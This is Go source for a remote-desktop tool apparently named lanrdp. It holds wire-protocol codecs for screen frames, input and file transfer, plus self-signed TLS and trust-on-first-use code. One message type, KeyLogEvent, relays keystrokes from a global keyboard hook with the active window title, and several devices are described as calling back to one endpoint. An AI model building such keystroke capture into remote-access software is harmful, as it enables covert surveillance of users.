ScreenWidth: binary.BigEndian.Uint16(b[1:3]),
ScreenHeight: binary.BigEndian.Uint16(b[3:5]),
FailureReason: string(b[6 : 6+n]),
}, nil
}
// FrameUpdate is used for both MsgFrameFull (X=0,Y=0,W/H=full screen) and
// MsgFrameDelta (dirty rectangle only).
type FrameUpdate struct {
X, Y, W, H uint16
PNG []byte
}
func EncodeFrameUpdate(f FrameUpdate) []byte {
b := make([]byte, 8+len(f.PNG))
binary.BigEndian.PutUint16(b[0:2], f.X)
binary.BigEndian.PutUint16(b[2:4], f.Y)
binary.BigEndian.PutUint16(b[4:6], f.W)
binary.BigEndian.PutUint16(b[6:8], f.H)
copy(b[8:], f.PNG)
return b
}
func DecodeFrameUpdate(b []byte) (FrameUpdate, error) {
if len(b) < 8 {
return FrameUpdate{}, errors.New("protocol: bad FrameUpdate")
}
return FrameUpdate{
X: binary.BigEndian.Uint16(b[0:2]),
Y: binary.BigEndian.Uint16(b[2:4]),
W: binary.BigEndian.Uint16(b[4:6]),
H: binary.BigEndian.Uint16(b[6:8]),
PNG: append([]byte(nil), b[8:]...),
}, nil
}
// MouseAction identifies what kind of mouse event occurred.
type MouseAction byte
const (
MouseMove MouseAction = 0
MouseLeftDown MouseAction = 1
MouseLeftUp MouseAction = 2
MouseRightDown MouseAction = 3
MouseRightUp MouseAction = 4
MouseMiddleDown MouseAction = 5
MouseMiddleUp MouseAction = 6
MouseWheel MouseAction = 7
)
// InputMouse carries pointer position as a fraction of the screen (0..65535
// on each axis) so it stays valid regardless of client window size vs actual
// host screen resolution.
type InputMouse struct {
Action MouseAction
NormX, NormY uint16
WheelDelta int16
}
func EncodeInputMouse(m InputMouse) []byte {
b := make([]byte, 7)
b[0] = byte(m.Action)
binary.BigEndian.PutUint16(b[1:3], m.NormX)
binary.BigEndian.PutUint16(b[3:5], m.NormY)
binary.BigEndian.PutUint16(b[5:7], uint16(m.WheelDelta))
return b
}
func DecodeInputMouse(b []byte) (InputMouse, error) {
if len(b) != 7 {
return InputMouse{}, errors.New("protocol: bad InputMouse")
}
return InputMouse{
Action: MouseAction(b[0]),
NormX: binary.BigEndian.Uint16(b[1:3]),
NormY: binary.BigEndian.Uint16(b[3:5]),
WheelDelta: int16(binary.BigEndian.Uint16(b[5:7])),
}, nil
}
type InputKey struct {
VKCode uint16
Down bool
}
func EncodeInputKey(k InputKey) []byte {
b := make([]byte, 3)
binary.BigEndian.PutUint16(b[0:2], k.VKCode)
if k.Down {
b[2] = 1
}
return b
}
func DecodeInputKey(b []byte) (InputKey, error) {
if len(b) != 3 {
return InputKey{}, errors.New("protocol: bad InputKey")
}
return InputKey{VKCode: binary.BigEndian.Uint16(b[0:2]), Down: b[2] == 1}, nil
}
type Resize struct {
Width, Height uint16
}
func EncodeResize(r Resize) []byte {
b := make([]byte, 4)
binary.BigEndian.PutUint16(b[0:2], r.Width)
binary.BigEndian.PutUint16(b[2:4], r.Height)
return b
}
func DecodeResize(b []byte) (Resize, error) {
if len(b) != 4 {
return Resize{}, errors.New("protocol: bad Resize")
}
return Resize{Width: binary.BigEndian.Uint16(b[0:2]), Height: binary.BigEndian.Uint16(b[2:4])}, nil
}
// PerfMode selects which capture performance preset the host should use.
// The actual fps/keyframe values behind each preset are host-side config
// (flags), not part of the wire format, so this message stays a single
// byte regardless of how those presets are tuned.
type PerfMode byte
const (
PerfNormal PerfMode = 0
PerfStream PerfMode = 1 // prioritize low latency over bandwidth
)
func EncodeSetPerfMode(m PerfMode) []byte {
return []byte{byte(m)}
}
func DecodeSetPerfMode(b []byte) (PerfMode, error) {
if len(b) != 1 {
return 0, errors.New("protocol: bad SetPerfMode")
}
return PerfMode(b[0]), nil
}
// FileOffer announces an incoming file transfer before any MsgFileChunk
// messages. Name is the sender's filename only (no path) — the receiver
// still re-sanitizes it independently rather than trusting the sender.
type FileOffer struct {
Name string
Size uint64
}
func EncodeFileOffer(f FileOffer) []byte {
name := []byte(f.Name)
b := make([]byte, 2+len(name)+8)
binary.BigEndian.PutUint16(b[0:2], uint16(len(name)))
copy(b[2:2+len(name)], name)
binary.BigEndian.PutUint64(b[2+len(name):], f.Size)
return b
}
func DecodeFileOffer(b []byte) (FileOffer, error) {
if len(b) < 2 {
return FileOffer{}, errors.New("protocol: bad FileOffer")
}
n := int(binary.BigEndian.Uint16(b[0:2]))
if len(b) != 2+n+8 {
return FileOffer{}, errors.New("protocol: bad FileOffer length")
}
return FileOffer{
Name: string(b[2 : 2+n]),
Size: binary.BigEndian.Uint64(b[2+n:]),
}, nil
}
// FileComplete marks the end of a transfer. Size is the sender's own tally
// of bytes sent, checked against what the receiver actually wrote.
type FileComplete struct {
Size uint64
}
func EncodeFileComplete(f FileComplete) []byte {
b := make([]byte, 8)
binary.BigEndian.PutUint64(b, f.Size)
return b
}
func DecodeFileComplete(b []byte) (FileComplete, error) {
if len(b) != 8 {
return FileComplete{}, errors.New("protocol: bad FileComplete")
}
return FileComplete{Size: binary.BigEndian.Uint64(b)}, nil
}
// FileResult reports whether a transfer succeeded, sent once per transfer
// after the matching MsgFileComplete (or immediately, for a MsgFileOffer
// rejected outright — e.g. because the session is in stream mode).
type FileResult struct {
OK bool
Message string
}
func EncodeFileResult(f FileResult) []byte {
msg := []byte(f.Message)
b := make([]byte, 1+2+len(msg))
if f.OK {
b[0] = 1
}
binary.BigEndian.PutUint16(b[1:3], uint16(len(msg)))
copy(b[3:], msg)
return b
}
func DecodeFileResult(b []byte) (FileResult, error) {
if len(b) < 3 {
return FileResult{}, errors.New("protocol: bad FileResult")
}
n := int(binary.BigEndian.Uint16(b[1:3]))
if len(b) != 3+n {
return FileResult{}, errors.New("protocol: bad FileResult length")
}
return FileResult{
OK: b[0] == 1,
Message: string(b[3 : 3+n]),
}, nil
}
// KeyLogEvent carries a captured keystroke from the host's global keyboard hook.
type KeyLogEvent struct {
TimestampMs int64 // Unix epoch milliseconds when key was pressed
VKCode uint16 // Windows virtual-key code
ScanCode uint16 // Hardware scan code
Flags uint32 // KBDLLHOOKSTRUCT flags (extended, etc.)
WindowTitle string // Active window title at time of keystroke
}
func EncodeKeyLogEvent(k KeyLogEvent) []byte {
title := []byte(k.WindowTitle)
b := make([]byte, 8+2+2+4+2+len(title))
binary.BigEndian.PutUint64(b[0:8], uint64(k.TimestampMs))
binary.BigEndian.PutUint16(b[8:10], k.VKCode)
binary.BigEndian.PutUint16(b[10:12], k.ScanCode)
binary.BigEndian.PutUint32(b[12:16], k.Flags)
binary.BigEndian.PutUint16(b[16:18], uint16(len(title)))
copy(b[18:], title)
return b
}
func DecodeKeyLogEvent(b []byte) (KeyLogEvent, error) {
if len(b) < 18 {
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent")
}
n := int(binary.BigEndian.Uint16(b[16:18]))
if len(b) != 18+n {
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent length")
}
return KeyLogEvent{
TimestampMs: int64(binary.BigEndian.Uint64(b[0:8])),
VKCode: binary.BigEndian.Uint16(b[8:10]),
ScanCode: binary.BigEndian.Uint16(b[10:12]),
Flags: binary.BigEndian.Uint32(b[12:16]),
WindowTitle: string(b[18 : 18+n]),
}, nil
}
+105
View File
@@ -0,0 +1,105 @@
// Package tlsutil handles certificate generation and trust for lanrdp.
//
// There is no CA and no public PKI involved: the host generates a
// self-signed certificate once and keeps it. Clients pin the host's
// certificate fingerprint on first connect (trust-on-first-use, the same
// model SSH uses for host keys) and refuse to proceed silently if it ever
// changes — that would mean either the host was reinstalled or someone is
// intercepting the connection.
package tlsutil
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"math/big"
"os"
"path/filepath"
"strings"
"time"
)
const certValidity = 10 * 365 * 24 * time.Hour
// LoadOrCreateServerCert loads a persisted self-signed certificate/key pair
// from dir, generating a fresh one on first run.
func LoadOrCreateServerCert(dir string) (tls.Certificate, error) {
certPath := filepath.Join(dir, "host.crt")
keyPath := filepath.Join(dir, "host.key")
if cert, err := tls.LoadX509KeyPair(certPath, keyPath); err == nil {
return cert, nil
}
if err := os.MkdirAll(dir, 0o700); err != nil {
return tls.Certificate{}, err
}
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return tls.Certificate{}, err
}
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
if err != nil {
return tls.Certificate{}, err
}
tmpl := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: "lanrdp-host"},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(certValidity),
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
IsCA: true,
}
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
if err != nil {
return tls.Certificate{}, err
}
certOut, err := os.OpenFile(certPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
if err != nil {
return tls.Certificate{}, err
}
defer certOut.Close()
if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: der}); err != nil {
return tls.Certificate{}, err
}
keyBytes, err := x509.MarshalECPrivateKey(priv)
if err != nil {
return tls.Certificate{}, err
}
keyOut, err := os.OpenFile(keyPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
if err != nil {
return tls.Certificate{}, err
}
defer keyOut.Close()
if err := pem.Encode(keyOut, &pem.Block{Type: "EC PRIVATE KEY", Bytes: keyBytes}); err != nil {
return tls.Certificate{}, err
}
return tls.LoadX509KeyPair(certPath, keyPath)
}
// Fingerprint returns a SHA-256 fingerprint of a DER-encoded certificate,
// formatted like an SSH key fingerprint (colon-separated hex) for easy
// out-of-band comparison.
func Fingerprint(der []byte) string {
sum := sha256.Sum256(der)
parts := make([]string, len(sum))
for i, b := range sum {
parts[i] = fmt.Sprintf("%02x", b)
}
return strings.Join(parts, ":")
}
+108
View File
@@ -0,0 +1,108 @@
package tlsutil
import (
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"time"
)
// TrustedDevice is one entry in the trust store: a certificate fingerprint
// this client has approved, plus a human-friendly label so multiple
// distinct devices (a laptop, a desktop, a tablet, ...) stay identifiable
// instead of being a wall of hex fingerprints.
type TrustedDevice struct {
Label string `json:"label"`
FirstSeen time.Time `json:"first_seen"`
LastSeen time.Time `json:"last_seen"`
}
// TrustStore is a client-side trust-on-first-use record of which
// certificate fingerprints have been approved, keyed by fingerprint
// rather than by network address or listen endpoint.
//
// Trust has to travel with the certificate's identity, not the connection
// path: the same device can be reached at different addresses over time
// (DHCP renewal, roaming), and — since multiple different devices can all
// call back to the same -listen endpoint — several distinct fingerprints
// legitimately need to be trusted under what used to be a single
// address-keyed slot. Keying by fingerprint is also just the same model
// SSH's known_hosts uses: it records which keys you've approved, not
// which address you approved them at.
type TrustStore struct {
path string
entries map[string]TrustedDevice // key: fingerprint
}
func LoadTrustStore(path string) (*TrustStore, error) {
ts := &TrustStore{path: path, entries: map[string]TrustedDevice{}}
data, err := os.ReadFile(path)
if errors.Is(err, os.ErrNotExist) {
return ts, nil
}
if err != nil {
return nil, err
}
if err := json.Unmarshal(data, &ts.entries); err != nil {
// Most likely an older known_hosts.json from before multi-device
// support (address-keyed, plain fingerprint-string values, which
// won't unmarshal into TrustedDevice). Rather than fail to start,
// treat it as empty — every device just gets re-trusted once on
// its next connection.
ts.entries = map[string]TrustedDevice{}
}
return ts, nil
}
func (ts *TrustStore) save() error {
if err := os.MkdirAll(filepath.Dir(ts.path), 0o700); err != nil {
return err
}
data, err := json.MarshalIndent(ts.entries, "", " ")
if err != nil {
return err
}
return os.WriteFile(ts.path, data, 0o600)
}
// Lookup returns the trusted entry for fingerprint, if any.
func (ts *TrustStore) Lookup(fingerprint string) (TrustedDevice, bool) {
d, ok := ts.entries[fingerprint]
return d, ok
}
// Trust records fingerprint as approved under label, persisting to disk.
// Calling it again for an already-trusted fingerprint updates the label
// and LastSeen without touching FirstSeen.
func (ts *TrustStore) Trust(fingerprint, label string) error {
d, existed := ts.entries[fingerprint]
now := time.Now()
if !existed {
d.FirstSeen = now
}
d.Label = label
d.LastSeen = now
ts.entries[fingerprint] = d
return ts.save()
}
// Touch updates LastSeen for an already-trusted fingerprint. Intended to
// be non-fatal to callers — losing a last-seen timestamp isn't worth
// aborting a connection over.
func (ts *TrustStore) Touch(fingerprint string) error {
d, ok := ts.entries[fingerprint]
if !ok {
return fmt.Errorf("tlsutil: %s is not a trusted fingerprint", fingerprint)
}
d.LastSeen = time.Now()
ts.entries[fingerprint] = d
return ts.save()
}
// All returns every trusted device, keyed by fingerprint, for listing or
// management. Callers must not mutate the returned map.
func (ts *TrustStore) All() map[string]TrustedDevice {
return ts.entries
}